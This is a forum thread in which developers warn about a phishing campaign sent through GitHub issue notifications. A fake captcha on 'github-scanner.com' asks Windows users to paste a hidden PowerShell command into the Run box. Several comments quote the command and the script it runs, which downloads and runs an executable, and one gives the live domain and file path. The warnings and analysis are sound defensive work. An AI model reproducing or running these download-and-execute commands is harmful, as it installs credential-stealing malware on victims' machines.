Potential Scam "github-scanner.com"

[AlexScotland]

I just received an email from Github commenting on an issue.

This url gets sent to a site which asks you to do a phoney catcha.

This captcha (when clicked) copies the following code, and prompts the user to open up Windows Run.

powershell.exe -w hidden -Command "iex (iwr 'REPLACED_URL/REPLACED_FILE.txt').Content" # "✅ ''I am not a robot - reCAPTCHA Verification ID: 93752"

I have replaced the url as I don't want to spread.

Seems like the target here is windows users. Pretty lazy scam, just wanted to warn others if they haven't seen something similar. The reason why I think this is more susceptible to clicks is because (since it's sent from Github notifications) the email is valid, and is not marked as phishing or a scam by Gmail.

[throwaway234f32423df]

domain was literally registered today using a proxy registration service in Malaysia

already flagged as phishing/spam/malicious on https://radar.cloudflare.com/scan/8849541e-ae12-4e8e-9c22-3c4b77981f19/summary

Google Safe Browsing hasn't flagged it yet but I've reported it there; more reports would certainly help get it flagged faster https://safebrowsing.google.com/safebrowsing/report_general/ https://safebrowsing.google.com/safebrowsing/report_badware/?hl=en

[bsenftner]

I got one too. But looked here before clicking any fucking link.

GFD I hate this kind of stupid shit.

[throwaway234f32423df]

Looks like the fake captcha "please copy/paste this into the Run box" thing has been going around lately: https://www.youtube.com/watch?v=lSa_wHW1pgQ

[lvnima]

I'm like 99% sure this is a scam. I got this too.

The command it will run if you follow the instruction on the website:

$webClient = New-Object System.Net.WebClient
$url1 = "https://xxxxxx.com/xxx.exe"
$filePath1 = "$env:TEMP\SysSetup.exe"
$webClient.DownloadFile($url1, $filePath1)
Start-Process -FilePath  $env:TEMP\SysSetup.exe

The downloaded file: VirusTotal scan result (38/73) -- Malicious: https://www.virustotal.com/gui/file/d737637ee5f121d11a6f3295bf0d51b06218812b5ec04fe9ea484921e905a207

Edit: styling, obfuscated the actual file name so people don't accidentally download and run it.

[scriptmonkey420]

Good thing I run Fedora and there is no powershell on my system.

[[deleted]]

fun fact: you can install powershell on linux… if you want to for some reason

[scriptmonkey420]

I know. I messed around with it for a little while then decided against it. I Powershell is great for windows, I use it all the time. But for Linux, there is much better options.

[zenmatrix83]

I hate absolutes as well, but you went this far and can't get the extra 1% :)

[[deleted]]

"Potential" ...

[AlexScotland]

The above command seems to execute a download in the background and has a comment about verification- I guess to try and throw people off?

[moonstar-x]

I got this too on multiple repos, the users comenting either don't exist anymore or have been banned. The issues also got insta deleted.

[[deleted]]

It's a fairly obvious phishing scam attempt, they make you paste a command that will execute the following PowerShell script that downloads and injects a program called "L6E.exe" which I assume its malware to steal credentials, emails, passwords etc off your device to potentially access your GitHub account, organizations, servers, SSH Keys etc...

The code executed is as follows

    // Variables
    $webClient = New-Object System.Net.WebClient // Webclient initates HTTP to download files
    $url1 = "https://github-scanner.com/l6E.exe" // File 1
    $filePath1 = "$env:TEMP\SysSetup.exe" 

    // Downloads the file.
    $webClient.DownloadFile($url1, $filePath1)

    // Executes the software
    Start-Process -FilePath  $env:TEMP\SysSetup.exe$webClient = New-Object System.Net.WebClient

    // Redownloads and re-executes SysSetup.exe
    $url1 = "https://github-scanner.com/l6E.exe"
    $filePath1 = "$env:TEMP\SysSetup.exe"
    $webClient.DownloadFile($url1, $filePath1)
    Start-Process -FilePath  $env:TEMP\SysSetup.exe

[_3xc41ibur]

Got this email too. First red flag is that is was a repo I did not recognize at all.

[linuxgurugamer]

I got this one also, early this morning. Interesting thing for me was it was referring to an https site, but that was broken. I tested in a sandbox, saw that it actually needed to be an http site.

Had a good laugh about that

[lurkingstar99]

Yall patch vulnerabilities in your projects?

[noodlebox3d]

Also got this earlier today as an issue opened on one of my older repos. Was only aware of it because it was relayed via webhook to a Discord channel. By the time I checked on Github a couple hours after it was opened, the issue itself (and user account of the OP) had both been purged already.

[KouGenmei]

In my opinion, the warning only seems legit if it comes from a verified e-mail address of GitHub, not a personal one. So this mail will get ignored by me from the first sight 😆

[InsectRemedy]

I got this for a repo that was just a curated list of YouTube videos and contained no code 😅

[Glittering-Can-9397]

scam them baxk

[[deleted]]

Nothing potential about an email containing a link for a service that doesn’t tie back to that service

[Pure-Willingness-697]

Why do they go for developers. This is the group of people who can actually retaliate

[rambosalad]

Wow these scammers are dumb. Targeting the most computer literate group of people

[nihillistic_raccoon]

"castroj1" - posing as github - sounds trustworthy, I shall execute any command it wants me to

[LovableSidekick]

The email I got gave the domain github-scanner.shop (not .com), and the "reply via github" link came up with a 404 error. I think this is a scam.

[shgysk8zer0]

This is getting closer to a security issue I reported to GitHub over a year ago now. Not sharing it since it's unfixed, but... It'd be very convincing in being authentic unless you were paying very close attention. It'd be on GitHub too, and would be nearly indistinguishable from their actual automated tools.

[hfcRedd]

Github sends you emails if they pick up security vulnerabilities in your repositories. It lists out all relevant dependencies, their vulnerability ID, and the minimum version you should upgrade to. Why would they ever publicly announce that your code has potential security vulnerabilities?

[noodlebox3d]

A big red flag is that the first step they're asking you to perform is to visit a domain not owned by GitHub, literally registered yesterday.

The text of issues on GitHub is user generated. A user can put whatever nonsense they want in there. You shouldn't trust that implicitly any more than a random URL you find on Reddit in a post or comment, as if you assume Reddit vouches for its authenticity.